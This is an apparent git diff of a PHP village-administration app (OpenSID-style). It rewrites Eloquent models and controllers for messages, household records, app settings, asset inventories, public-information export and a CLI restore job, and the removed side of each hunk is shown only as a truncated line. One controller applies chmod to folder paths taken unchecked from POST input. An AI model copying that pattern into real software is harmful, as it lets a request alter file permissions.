-hasMany(PesanDetail::class, 'pesan_id', 'id');
+ }
+
+ public function getCustomDateAttribute()
+ {
+ return $this->created_at->format('d-m-Y H:i');
+ }
+}
diff --git a/app/Models/PesanDetail.php b/app/Models/PesanDetail.php
index 14ac22155..5a4e7ad83 100644
--- a/app/Models/PesanDetail.php
+++ b/app/Models/PesanDetail.php
@@ -1,417 +1,60 @@
-hasOne(Pesan::class, 'pesan_id', 'id');
+ }
+
+ public function getCustomDateAttribute()
+ {
+ return $this->created_at->format('d-m-Y H:i');
+ }
+}
diff --git a/app/Models/Posyandu.php b/app/Models/Posyandu.php
index 461b69fd5..81cebb2b3 100644
--- a/app/Models/Posyandu.php
+++ b/app/Models/Posyandu.php
@@ -1,393 +1,100 @@
- 'boolean',
+ // ];
+
+ /**
+ * Define a one-to-many relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\HasMany
+ */
+ // public function peserta()
+ // {
+ // return $this->hasMany(BantuanPeserta::class, 'program_id');
+ // }
+
+ /**
+ * Scope query untuk status bantuan
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ // public function scopeStatus($query, $value = 1)
+ // {
+ // return $query->where('status', $value);
+ // }
+}
diff --git a/app/Models/RefDokumen.php b/app/Models/RefDokumen.php
index 6f9d9d592..fb0c84301 100644
--- a/app/Models/RefDokumen.php
+++ b/app/Models/RefDokumen.php
@@ -1,409 +1,59 @@
-first();
+ }
+
+ // get data jabatan jenis sekdes
+ public static function getSekdes()
+ {
+ return self::whereJenis(self::SEKDES)->first();
+ }
+
+ // get data jabatan jenis sekdes
+ public static function getKadesSekdes()
+ {
+ return [
+ self::getKades()->id,
+ self::getSekdes()->id,
+ ];
+ }
+
+ // scope
+ public function scopeUrut($query, $order = 'ASC')
+ {
+ return $query->orderBy(DB::raw('CASE WHEN jenis = 0 THEN 9999 ELSE jenis END'), $order);
+ }
+}
diff --git a/app/Models/RentangUmur.php b/app/Models/RentangUmur.php
index abb93f613..31c9e6580 100644
--- a/app/Models/RentangUmur.php
+++ b/app/Models/RentangUmur.php
@@ -1,417 +1,73 @@
-
+ */
+ protected $fillable = [
+ 'nama',
+ 'dari',
+ 'sampai',
+ 'status',
+ ];
+}
diff --git a/app/Models/Rtm.php b/app/Models/Rtm.php
index ea64d1257..90ce6eefd 100644
--- a/app/Models/Rtm.php
+++ b/app/Models/Rtm.php
@@ -1,353 +1,100 @@
-hasOne(Penduduk::class, 'id', 'nik_kepala')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ /**
+ * Define a one-to-many relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasMany
+ */
+ public function anggota()
+ {
+ return $this->hasMany(Penduduk::class, 'id_rtm', 'no_kk')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ /**
+ * Scope query untuk status rumah tangga
+ *
+ * @return Builder
+ */
+ public function scopeStatus()
+ {
+ return static::whereHas('kepalaKeluarga', static function ($query) {
+ $query->status()->where('rtm_level', '1');
+ });
+ }
+}
diff --git a/app/Models/RtmHubungan.php b/app/Models/RtmHubungan.php
index 302d95686..8522bb477 100644
--- a/app/Models/RtmHubungan.php
+++ b/app/Models/RtmHubungan.php
@@ -1,417 +1,64 @@
- 'boolean',
+ // ];
+
+ /**
+ * Define a one-to-many relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\HasMany
+ */
+ // public function peserta()
+ // {
+ // return $this->hasMany(BantuanPeserta::class, 'program_id');
+ // }
+
+ /**
+ * Scope query untuk status bantuan
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ // public function scopeStatus($query, $value = 1)
+ // {
+ // return $query->where('status', $value);
+ // }
+}
diff --git a/app/Models/SettingAplikasi.php b/app/Models/SettingAplikasi.php
index ab89f7105..a7474b751 100644
--- a/app/Models/SettingAplikasi.php
+++ b/app/Models/SettingAplikasi.php
@@ -1,449 +1,148 @@
- 'json',
+ ];
+
+ // public function getValueAttribute()
+ // {
+ // if ($this->attributes['key'] == 'web_theme') {
+ // return config_item('web_theme');
+ // }
+
+ // return $this->attributes['value'];
+ // }
+
+ public function getOptionAttribute()
+ {
+ if ($this->attributes['jenis'] == 'option' && $this->attributes['key'] == 'web_theme') {
+ // TODO : Akan dipindahkan ke modul tema
+ $list_tema = [];
+ $tema_semua = array_merge(glob('vendor/themes/*', GLOB_ONLYDIR), glob('desa/themes/*', GLOB_ONLYDIR));
+
+ foreach ($tema_semua as $tema) {
+ if (is_file(FCPATH . $tema . '/template.php')) {
+ $list_tema[] = str_replace(['vendor/', 'themes/'], '', $tema);
+ }
+ }
+
+ return array_combine($list_tema, $list_tema);
+ }
+ if ($this->attributes['jenis'] == 'option' && $this->attributes['key'] == 'tampilan_anjungan_slider') {
+ return Galeri::whereParrent(Galeri::PARRENT)->whereEnabled(StatusEnum::YA)->pluck('nama', 'id');
+ }
+ if ($this->attributes['jenis'] == 'boolean') {
+ return [
+ 1 => 'Ya',
+ 0 => 'Tidak',
+ ];
+ }
+
+ return json_decode($this->attributes['option'], true);
+ }
+
+ public function getValueAttribute()
+ {
+ if ($this->attributes['key'] == 'tampilkan_tombol_peta') {
+ return json_decode($this->attributes['value'], true);
+ }
+
+ return $this->attributes['value'];
+ }
+}
diff --git a/app/Models/Sex.php b/app/Models/Sex.php
index 3f3f3db60..28d1024b8 100644
--- a/app/Models/Sex.php
+++ b/app/Models/Sex.php
@@ -1,353 +1,50 @@
-
+ */
+ protected $fillable = [
+ 'nama',
+ 'slug',
+ 'sasaran',
+ 'keterangan',
+ ];
+}
diff --git a/app/Models/SyaratSurat.php b/app/Models/SyaratSurat.php
index c08b0f284..793365fd9 100644
--- a/app/Models/SyaratSurat.php
+++ b/app/Models/SyaratSurat.php
@@ -1,417 +1,100 @@
-hasMany(Dokumen::class, 'id_syarat')->where('id_pend', auth('jwt')->id());
+
+ return $this->hasMany(Dokumen::class, 'id_syarat');
+ }
+}
diff --git a/app/Models/TeksBerjalan.php b/app/Models/TeksBerjalan.php
index c0a034901..3b7df6ca2 100644
--- a/app/Models/TeksBerjalan.php
+++ b/app/Models/TeksBerjalan.php
@@ -1,425 +1,106 @@
- 'boolean',
+ ];
+
+ /**
+ * Scope query untuk status
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ // TODO :: ganti jadi YA (1) dan TIDAK (0)
+ public function scopeStatus($query, $value = 1)
+ {
+ return $query->where('status', $value);
+ }
+
+ /**
+ * Scope query untuk tipe
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeTipe($query, $value = 1)
+ {
+ return $query->where('tipe', $value);
+ }
+}
diff --git a/app/Models/Urls.php b/app/Models/Urls.php
index 360c7cc45..5e6e494f5 100644
--- a/app/Models/Urls.php
+++ b/app/Models/Urls.php
@@ -1,361 +1,68 @@
-
+ */
+ protected $fillable = [
+ 'nama',
+ 'email',
+ 'password',
+ 'foto',
+ 'last_login',
+ 'id_telegram',
+ 'notif_telegram',
+ 'telegram_verified_at',
+ 'email_verified_at',
+ ];
+
+ /**
+ * The attributes that should be hidden for serialization.
+ *
+ * @var array
';
+ }
+
+ public function cache_desa()
+ {
+ $this->redirect_hak_akses('u');
+
+ $dir = config_item('cache_path');
+
+ foreach (directory_map($dir) as $file) {
+ if ($file !== 'index.html') {
+ unlink($dir . DIRECTORY_SEPARATOR . $file);
+ }
+ }
+
+ status_sukses(true);
+
+ redirect($this->controller);
+ }
+
+ public function cache_blade()
+ {
+ $this->redirect_hak_akses('u');
+
+ $dir = config_item('cache_blade');
+
+ foreach (directory_map($dir) as $file) {
+ if ($file !== 'index.html') {
+ unlink($dir . DIRECTORY_SEPARATOR . $file);
+ }
+ }
+
+ status_sukses(true);
+
+ redirect($this->controller);
+ }
+
+ public function set_permission_desa()
+ {
+ $this->redirect_hak_akses('u');
+
+ $dirs = $_POST['folders'];
+ $error = [];
+ $result = ['status' => 1, $message = 'Berhasil ubah permission folder desa'];
+
+ foreach ($dirs as $dir) {
+ if (! chmod($dir, DESAPATHPERMISSION)) {
+ $error[] = 'Gagal mengubah hak akses folder ' . $dir;
+ }
+ }
+
+ if (! empty($error)) {
+ $result['status'] = 0;
+ $result['message'] = implode('
', $error);
+ }
+
+ status_sukses(true);
+ $this->output
+ ->set_content_type('application/json')
+ ->set_output(json_encode($result));
+ }
+}
diff --git a/donjo-app/controllers/Informasi_publik.php b/donjo-app/controllers/Informasi_publik.php
index f76cb3e3c..f50a11fac 100644
--- a/donjo-app/controllers/Informasi_publik.php
+++ b/donjo-app/controllers/Informasi_publik.php
@@ -1,545 +1,108 @@
-load->model('web_dokumen_model');
+ $this->load->model('log_ekspor_model');
+ }
+
+ public function ekspor()
+ {
+ $data['form_action'] = site_url('informasi_publik/ekspor_csv');
+ $data['log_semua'] = $this->log_ekspor_model->log_terakhir('informasi_publik', 1);
+ $data['log_perubahan'] = $this->log_ekspor_model->log_terakhir('informasi_publik', 2);
+ $this->load->view('dokumen/dialog_ekspor', $data);
+ }
+
+ public function ekspor_csv()
+ {
+ $filename = 'informasi_publik_' . date('Ymd') . '.csv';
+ // Gunakan file temporer
+ $tmpfname = tempnam(sys_get_temp_dir(), '');
+ // Siapkan daftar berkas untuk dimasukkan ke zip
+ $berkas = [];
+ $berkas[] = [
+ 'nama' => $filename,
+ 'file' => $tmpfname,
+ ];
+ // Folder untuk berkas dokumen dalam zip
+ $berkas[] = [
+ 'nama' => 'dir',
+ 'file' => 'berkas',
+ ];
+
+ // Ambil data dan berkas infoemasi publik
+ $file = fopen($tmpfname, 'wb');
+ $data = $this->web_dokumen_model->ekspor_informasi_publik($this->input->post('data_ekspor'), $this->input->post('tgl_dari'));
+
+ $header = array_keys($data[0]);
+ fputcsv($file, $header);
+
+ foreach ($data as $baris) {
+ fputcsv($file, array_values($baris));
+ // Masukkan berkas ke dalam folder dalam zip
+ $berkas[] = [
+ 'nama' => 'berkas/' . $baris['satuan'],
+ 'file' => FCPATH . LOKASI_DOKUMEN . $baris['satuan'],
+ ];
+ }
+ fclose($file);
+
+ // Tulis log ekspor
+ $log = [
+ 'kode_ekspor' => 'informasi_publik',
+ 'semua' => $this->input->post('data_ekspor'),
+ 'total' => count($data),
+ ];
+ $this->log_ekspor_model->tulis_log($log);
+
+ // Masukkan semua berkas ke dalam zip
+ $berkas_zip = masukkan_zip($berkas);
+ // Unduh berkas zip
+ $data = $this->header['desa'];
+ header('Content-Description: File Transfer');
+ header('Content-disposition: attachment; filename=informasi_publik_' . $data['kode_desa'] . '_' . date('d-m-Y') . '.zip');
+ header('Content-type: application/zip');
+ readfile($berkas_zip);
+ }
+}
diff --git a/donjo-app/controllers/Inventaris_asset.php b/donjo-app/controllers/Inventaris_asset.php
index 59b9541c2..0d8863526 100644
--- a/donjo-app/controllers/Inventaris_asset.php
+++ b/donjo-app/controllers/Inventaris_asset.php
@@ -1,545 +1,147 @@
-load->model(['inventaris_asset_model', 'pamong_model', 'aset_model']);
+ $this->modul_ini = 'sekretariat';
+ $this->sub_modul_ini = 61;
+ }
+
+ public function index()
+ {
+ $data['main'] = $this->inventaris_asset_model->list_inventaris();
+ $data['total'] = $this->inventaris_asset_model->sum_inventaris();
+ $data['pamong'] = Pamong::penandaTangan()->get();
+ $data['tip'] = 1;
+
+ $this->render('inventaris/asset/table', $data);
+ }
+
+ public function view($id)
+ {
+ $data['main'] = $this->inventaris_asset_model->view($id);
+ $data['tip'] = 1;
+
+ $this->render('inventaris/asset/view_inventaris', $data);
+ }
+
+ public function view_mutasi($id)
+ {
+ $data['main'] = $this->inventaris_asset_model->view_mutasi($id);
+ $data['tip'] = 2;
+
+ $this->render('inventaris/asset/view_mutasi', $data);
+ }
+
+ public function edit($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_asset_model->view($id);
+ $data['get_kode'] = $this->header['desa'];
+ $data['aset'] = $this->aset_model->list_aset(6);
+ $data['count_reg'] = $this->inventaris_asset_model->count_reg();
+ $data['kd_reg'] = $this->inventaris_asset_model->list_inventaris_kd_register();
+ $data['tip'] = 1;
+
+ $this->render('inventaris/asset/edit_inventaris', $data);
+ }
+
+ public function edit_mutasi($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_asset_model->edit_mutasi($id);
+ $data['tip'] = 2;
+
+ $this->render('inventaris/asset/edit_mutasi', $data);
+ }
+
+ public function form()
+ {
+ $this->redirect_hak_akses('u');
+ $data['tip'] = 1;
+ $data['get_kode'] = $this->header['desa'];
+ $data['aset'] = $this->aset_model->list_aset(6);
+ $data['count_reg'] = $this->inventaris_asset_model->count_reg();
+
+ $this->render('inventaris/asset/form_tambah', $data);
+ }
+
+ public function form_mutasi($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_asset_model->view($id);
+ $data['tip'] = 1;
+
+ $this->render('inventaris/asset/form_mutasi', $data);
+ }
+
+ public function mutasi()
+ {
+ $data['main'] = $this->inventaris_asset_model->list_mutasi_inventaris();
+ $data['tip'] = 2;
+
+ $this->render('inventaris/asset/table_mutasi', $data);
+ }
+
+ public function cetak($tahun, $penandatangan)
+ {
+ $data['header'] = $this->header['desa'];
+ $data['total'] = $this->inventaris_asset_model->sum_print($tahun);
+ $data['print'] = $this->inventaris_asset_model->cetak($tahun);
+ $data['pamong'] = $this->pamong_model->get_data($penandatangan);
+
+ $this->load->view('inventaris/asset/inventaris_print', $data);
+ }
+
+ public function download($tahun, $penandatangan)
+ {
+ $data['header'] = $this->header['desa'];
+ $data['total'] = $this->inventaris_asset_model->sum_print($tahun);
+ $data['print'] = $this->inventaris_asset_model->cetak($tahun);
+ $data['pamong'] = $this->pamong_model->get_data($penandatangan);
+
+ $this->load->view('inventaris/asset/inventaris_excel', $data);
+ }
+}
diff --git a/donjo-app/controllers/Inventaris_gedung.php b/donjo-app/controllers/Inventaris_gedung.php
index 25e834e4d..56531b5d2 100644
--- a/donjo-app/controllers/Inventaris_gedung.php
+++ b/donjo-app/controllers/Inventaris_gedung.php
@@ -1,553 +1,147 @@
-load->model(['inventaris_gedung_model', 'pamong_model', 'aset_model']);
+ $this->modul_ini = 'sekretariat';
+ $this->sub_modul_ini = 61;
+ }
+
+ public function index()
+ {
+ $data['main'] = $this->inventaris_gedung_model->list_inventaris();
+ $data['total'] = $this->inventaris_gedung_model->sum_inventaris();
+ $data['pamong'] = Pamong::penandaTangan()->get();
+ $data['tip'] = 1;
+
+ $this->render('inventaris/gedung/table', $data);
+ }
+
+ public function view($id)
+ {
+ $data['main'] = $this->inventaris_gedung_model->view($id);
+ $data['tip'] = 1;
+
+ $this->render('inventaris/gedung/view_inventaris', $data);
+ }
+
+ public function view_mutasi($id)
+ {
+ $data['main'] = $this->inventaris_gedung_model->view_mutasi($id);
+ $data['tip'] = 2;
+
+ $this->render('inventaris/gedung/view_mutasi', $data);
+ }
+
+ public function edit($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_gedung_model->view($id);
+ $data['aset'] = $this->aset_model->list_aset(4);
+ $data['count_reg'] = $this->inventaris_gedung_model->count_reg();
+ $data['get_kode'] = $this->header['desa'];
+ $data['kd_reg'] = $this->inventaris_gedung_model->list_inventaris_kd_register();
+ $data['tip'] = 1;
+
+ $this->render('inventaris/gedung/edit_inventaris', $data);
+ }
+
+ public function edit_mutasi($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_gedung_model->edit_mutasi($id);
+ $data['tip'] = 2;
+
+ $this->render('inventaris/gedung/edit_mutasi', $data);
+ }
+
+ public function form()
+ {
+ $this->redirect_hak_akses('u');
+ $data['tip'] = 1;
+ $data['get_kode'] = $this->header['desa'];
+ $data['aset'] = $this->aset_model->list_aset(4);
+ $data['count_reg'] = $this->inventaris_gedung_model->count_reg();
+
+ $this->render('inventaris/gedung/form_tambah', $data);
+ }
+
+ public function form_mutasi($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_gedung_model->view($id);
+ $data['tip'] = 2;
+
+ $this->render('inventaris/gedung/form_mutasi', $data);
+ }
+
+ public function mutasi()
+ {
+ $data['main'] = $this->inventaris_gedung_model->list_mutasi_inventaris();
+ $data['tip'] = 2;
+
+ $this->render('inventaris/gedung/table_mutasi', $data);
+ }
+
+ public function cetak($tahun, $penandatangan)
+ {
+ $data['header'] = $this->header['desa'];
+ $data['total'] = $this->inventaris_gedung_model->sum_print($tahun);
+ $data['print'] = $this->inventaris_gedung_model->cetak($tahun);
+ $data['pamong'] = $this->pamong_model->get_data($penandatangan);
+
+ $this->load->view('inventaris/gedung/inventaris_print', $data);
+ }
+
+ public function download($tahun, $penandatangan)
+ {
+ $data['header'] = $this->header['desa'];
+ $data['total'] = $this->inventaris_gedung_model->sum_print($tahun);
+ $data['print'] = $this->inventaris_gedung_model->cetak($tahun);
+ $data['pamong'] = $this->pamong_model->get_data($penandatangan);
+
+ $this->load->view('inventaris/gedung/inventaris_excel', $data);
+ }
+}
diff --git a/donjo-app/controllers/Inventaris_jalan.php b/donjo-app/controllers/Inventaris_jalan.php
index 01be51d34..54f2632d2 100644
--- a/donjo-app/controllers/Inventaris_jalan.php
+++ b/donjo-app/controllers/Inventaris_jalan.php
@@ -1,545 +1,147 @@
-load->model(['inventaris_jalan_model', 'pamong_model', 'aset_model']);
+ $this->modul_ini = 'sekretariat';
+ $this->sub_modul_ini = 61;
+ }
+
+ public function index()
+ {
+ $data['main'] = $this->inventaris_jalan_model->list_inventaris();
+ $data['total'] = $this->inventaris_jalan_model->sum_inventaris();
+ $data['pamong'] = Pamong::penandaTangan()->get();
+ $data['tip'] = 1;
+
+ $this->render('inventaris/jalan/table', $data);
+ }
+
+ public function view($id)
+ {
+ $data['main'] = $this->inventaris_jalan_model->view($id);
+ $data['tip'] = 1;
+
+ $this->render('inventaris/jalan/view_inventaris', $data);
+ }
+
+ public function view_mutasi($id)
+ {
+ $data['main'] = $this->inventaris_jalan_model->view_mutasi($id);
+ $data['tip'] = 2;
+
+ $this->render('inventaris/jalan/view_mutasi', $data);
+ }
+
+ public function edit($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_jalan_model->view($id);
+ $data['aset'] = $this->aset_model->list_aset(5);
+ $data['count_reg'] = $this->inventaris_jalan_model->count_reg();
+ $data['get_kode'] = $this->header['desa'];
+ $data['kd_reg'] = $this->inventaris_jalan_model->list_inventaris_kd_register();
+ $data['tip'] = 1;
+
+ $this->render('inventaris/jalan/edit_inventaris', $data);
+ }
+
+ public function edit_mutasi($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_jalan_model->edit_mutasi($id);
+ $data['tip'] = 2;
+
+ $this->render('inventaris/jalan/edit_mutasi', $data);
+ }
+
+ public function form()
+ {
+ $this->redirect_hak_akses('u');
+ $data['tip'] = 1;
+ $data['get_kode'] = $this->header['desa'];
+ $data['aset'] = $this->aset_model->list_aset(5);
+ $data['count_reg'] = $this->inventaris_jalan_model->count_reg();
+
+ $this->render('inventaris/jalan/form_tambah', $data);
+ }
+
+ public function form_mutasi($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_jalan_model->view($id);
+ $data['tip'] = 2;
+
+ $this->render('inventaris/jalan/form_mutasi', $data);
+ }
+
+ public function mutasi()
+ {
+ $data['main'] = $this->inventaris_jalan_model->list_mutasi_inventaris();
+ $data['tip'] = 2;
+
+ $this->render('inventaris/jalan/table_mutasi', $data);
+ }
+
+ public function cetak($tahun, $penandatangan)
+ {
+ $data['header'] = $this->header['desa'];
+ $data['total'] = $this->inventaris_jalan_model->sum_print($tahun);
+ $data['print'] = $this->inventaris_jalan_model->cetak($tahun);
+ $data['pamong'] = $this->pamong_model->get_data($penandatangan);
+
+ $this->load->view('inventaris/jalan/inventaris_print', $data);
+ }
+
+ public function download($tahun, $penandatangan)
+ {
+ $data['header'] = $this->header['desa'];
+ $data['total'] = $this->inventaris_jalan_model->sum_print($tahun);
+ $data['print'] = $this->inventaris_jalan_model->cetak($tahun);
+ $data['pamong'] = $this->pamong_model->get_data($penandatangan);
+
+ $this->load->view('inventaris/jalan/inventaris_excel', $data);
+ }
+}
diff --git a/donjo-app/controllers/Inventaris_kontruksi.php b/donjo-app/controllers/Inventaris_kontruksi.php
index 4ecd5c144..6daedfcb6 100644
--- a/donjo-app/controllers/Inventaris_kontruksi.php
+++ b/donjo-app/controllers/Inventaris_kontruksi.php
@@ -1,577 +1,106 @@
-load->model(['inventaris_kontruksi_model', 'pamong_model', 'aset_model']);
+ $this->modul_ini = 'sekretariat';
+ $this->sub_modul_ini = 61;
+ }
+
+ public function index()
+ {
+ $data['main'] = $this->inventaris_kontruksi_model->list_inventaris();
+ $data['total'] = $this->inventaris_kontruksi_model->sum_inventaris();
+ $data['pamong'] = Pamong::penandaTangan()->get();
+ $data['tip'] = 1;
+
+ $this->render('inventaris/kontruksi/table', $data);
+ }
+
+ public function view($id)
+ {
+ $data['main'] = $this->inventaris_kontruksi_model->view($id);
+ $data['tip'] = 1;
+
+ $this->render('inventaris/kontruksi/view_inventaris', $data);
+ }
+
+ public function edit($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_kontruksi_model->view($id);
+ $data['tip'] = 1;
+
+ $this->render('inventaris/kontruksi/edit_inventaris', $data);
+ }
+
+ public function form()
+ {
+ $this->redirect_hak_akses('u');
+ $data['tip'] = 1;
+
+ $this->render('inventaris/kontruksi/form_tambah', $data);
+ }
+
+ public function cetak($tahun, $penandatangan)
+ {
+ $data['header'] = $this->header['desa'];
+ $data['total'] = $this->inventaris_kontruksi_model->sum_print($tahun);
+ $data['print'] = $this->inventaris_kontruksi_model->cetak($tahun);
+ $data['pamong'] = $this->pamong_model->get_data($penandatangan);
+
+ $this->load->view('inventaris/kontruksi/inventaris_print', $data);
+ }
+
+ public function download($tahun, $penandatangan)
+ {
+ $data['header'] = $this->header['desa'];
+ $data['total'] = $this->inventaris_kontruksi_model->sum_print($tahun);
+ $data['print'] = $this->inventaris_kontruksi_model->cetak($tahun);
+ $data['pamong'] = $this->pamong_model->get_data($penandatangan);
+
+ $this->load->view('inventaris/kontruksi/inventaris_excel', $data);
+ }
+}
diff --git a/donjo-app/controllers/Inventaris_peralatan.php b/donjo-app/controllers/Inventaris_peralatan.php
index bf429b1f8..3fbf36128 100644
--- a/donjo-app/controllers/Inventaris_peralatan.php
+++ b/donjo-app/controllers/Inventaris_peralatan.php
@@ -1,577 +1,147 @@
-load->model(['inventaris_peralatan_model', 'pamong_model', 'aset_model']);
+ $this->modul_ini = 'sekretariat';
+ $this->sub_modul_ini = 61;
+ }
+
+ public function index()
+ {
+ $data['main'] = $this->inventaris_peralatan_model->list_inventaris();
+ $data['total'] = $this->inventaris_peralatan_model->sum_inventaris();
+ $data['pamong'] = Pamong::penandaTangan()->get();
+ $data['tip'] = 1;
+
+ $this->render('inventaris/peralatan/table', $data);
+ }
+
+ public function view($id)
+ {
+ $data['main'] = $this->inventaris_peralatan_model->view($id);
+ $data['tip'] = 1;
+
+ $this->render('inventaris/peralatan/view_inventaris', $data);
+ }
+
+ public function view_mutasi($id)
+ {
+ $data['main'] = $this->inventaris_peralatan_model->view_mutasi($id);
+ $data['tip'] = 2;
+
+ $this->render('inventaris/peralatan/view_mutasi', $data);
+ }
+
+ public function edit($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_peralatan_model->view($id);
+ $data['get_kode'] = $this->header['desa'];
+ $data['aset'] = $this->aset_model->list_aset(3);
+ $data['count_reg'] = $this->inventaris_peralatan_model->count_reg();
+ $data['kd_reg'] = $this->inventaris_peralatan_model->list_inventaris_kd_register();
+ $data['tip'] = 1;
+
+ $this->render('inventaris/peralatan/edit_inventaris', $data);
+ }
+
+ public function edit_mutasi($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_peralatan_model->edit_mutasi($id);
+ $data['tip'] = 2;
+
+ $this->render('inventaris/peralatan/edit_mutasi', $data);
+ }
+
+ public function form()
+ {
+ $this->redirect_hak_akses('u');
+ $data['tip'] = 1;
+ $data['get_kode'] = $this->header['desa'];
+ $data['aset'] = $this->aset_model->list_aset(3);
+ $data['count_reg'] = $this->inventaris_peralatan_model->count_reg();
+
+ $this->render('inventaris/peralatan/form_tambah', $data);
+ }
+
+ public function form_mutasi($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_peralatan_model->view($id);
+ $data['tip'] = 1;
+
+ $this->render('inventaris/peralatan/form_mutasi', $data);
+ }
+
+ public function mutasi()
+ {
+ $data['main'] = $this->inventaris_peralatan_model->list_mutasi_inventaris();
+ $data['tip'] = 2;
+
+ $this->render('inventaris/peralatan/table_mutasi', $data);
+ }
+
+ public function cetak($tahun, $penandatangan)
+ {
+ $data['header'] = $this->header['desa'];
+ $data['total'] = $this->inventaris_peralatan_model->sum_print($tahun);
+ $data['print'] = $this->inventaris_peralatan_model->cetak($tahun);
+ $data['pamong'] = $this->pamong_model->get_data($penandatangan);
+
+ $this->load->view('inventaris/peralatan/inventaris_print', $data);
+ }
+
+ public function download($tahun, $penandatangan)
+ {
+ $data['header'] = $this->header['desa'];
+ $data['total'] = $this->inventaris_peralatan_model->sum_print($tahun);
+ $data['print'] = $this->inventaris_peralatan_model->cetak($tahun);
+ $data['pamong'] = $this->pamong_model->get_data($penandatangan);
+
+ $this->load->view('inventaris/peralatan/inventaris_excel', $data);
+ }
+}
diff --git a/donjo-app/controllers/Inventaris_tanah.php b/donjo-app/controllers/Inventaris_tanah.php
index 299354df5..706ad448a 100644
--- a/donjo-app/controllers/Inventaris_tanah.php
+++ b/donjo-app/controllers/Inventaris_tanah.php
@@ -1,545 +1,147 @@
-load->model(['inventaris_tanah_model', 'pamong_model', 'aset_model']);
+ $this->modul_ini = 'sekretariat';
+ $this->sub_modul_ini = 'inventaris';
+ }
+
+ public function index()
+ {
+ $data['main'] = $this->inventaris_tanah_model->list_inventaris();
+ $data['total'] = $this->inventaris_tanah_model->sum_inventaris();
+ $data['pamong'] = Pamong::penandaTangan()->get();
+ $data['tip'] = 1;
+
+ $this->render('inventaris/tanah/table', $data);
+ }
+
+ public function view($id)
+ {
+ $data['main'] = $this->inventaris_tanah_model->view($id);
+ $data['tip'] = 1;
+
+ $this->render('inventaris/tanah/view_inventaris', $data);
+ }
+
+ public function view_mutasi($id)
+ {
+ $data['main'] = $this->inventaris_tanah_model->view_mutasi($id);
+ $data['tip'] = 2;
+
+ $this->render('inventaris/tanah/view_mutasi', $data);
+ }
+
+ public function edit($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_tanah_model->view($id);
+ $data['aset'] = $this->aset_model->list_aset(2);
+ $data['count_reg'] = $this->inventaris_tanah_model->count_reg();
+ $data['get_kode'] = $this->header['desa'];
+ $data['kd_reg'] = $this->inventaris_tanah_model->list_inventaris_kd_register();
+ $data['tip'] = 1;
+
+ $this->render('inventaris/tanah/edit_inventaris', $data);
+ }
+
+ public function edit_mutasi($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_tanah_model->edit_mutasi($id);
+ $data['tip'] = 2;
+
+ $this->render('inventaris/tanah/edit_mutasi', $data);
+ }
+
+ public function form()
+ {
+ $this->redirect_hak_akses('u');
+ $data['tip'] = 1;
+ $data['get_kode'] = $this->header['desa'];
+ $data['aset'] = $this->aset_model->list_aset(2);
+ $data['count_reg'] = $this->inventaris_tanah_model->count_reg();
+
+ $this->render('inventaris/tanah/form_tambah', $data);
+ }
+
+ public function form_mutasi($id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['main'] = $this->inventaris_tanah_model->view($id);
+ $data['tip'] = 2;
+
+ $this->render('inventaris/tanah/form_mutasi', $data);
+ }
+
+ public function mutasi()
+ {
+ $data['main'] = $this->inventaris_tanah_model->list_mutasi_inventaris();
+ $data['tip'] = 2;
+
+ $this->render('inventaris/tanah/table_mutasi', $data);
+ }
+
+ public function cetak($tahun, $penandatangan)
+ {
+ $data['header'] = $this->header['desa'];
+ $data['total'] = $this->inventaris_tanah_model->sum_print($tahun);
+ $data['print'] = $this->inventaris_tanah_model->cetak($tahun);
+ $data['pamong'] = $this->pamong_model->get_data($penandatangan);
+
+ $this->load->view('inventaris/tanah/inventaris_print', $data);
+ }
+
+ public function download($tahun, $penandatangan)
+ {
+ $data['header'] = $this->header['desa'];
+ $data['total'] = $this->inventaris_tanah_model->sum_print($tahun);
+ $data['print'] = $this->inventaris_tanah_model->cetak($tahun);
+ $data['pamong'] = $this->pamong_model->get_data($penandatangan);
+
+ $this->load->view('inventaris/tanah/inventaris_excel', $data);
+ }
+}
diff --git a/donjo-app/controllers/Job.php b/donjo-app/controllers/Job.php
index d8a1ae250..b2efa9d43 100644
--- a/donjo-app/controllers/Job.php
+++ b/donjo-app/controllers/Job.php
@@ -1,441 +1,173 @@
-load->helper(['number', 'file']);
+ $this->load->model(['ekspor_model', 'database_model']);
+ }
+
+ public function restore($database = null)
+ {
+ /**
+ * Job hanya bisa digunakan jika :
+ * 1. Diakses lewat CLI dan Config demo true
+ * 2. Diakses lewat CLI dan ENV development
+ *
+ * Selain itu akan menampilkan halaman tidak ditemukan.
+ */
+ if (! is_cli() || (! config_item('demo_mode') && ENVIRONMENT === 'production')) {
+ show_404();
+ }
+
+ delete_files(config_item('log_path'), true);
+ log_message('notice', '>_ Mulai');
+
+ // Kecuali folder
+ $exclude = [
+ 'desa/config',
+ 'desa/themes',
+ ];
+
+ // Kosongkan folder desa
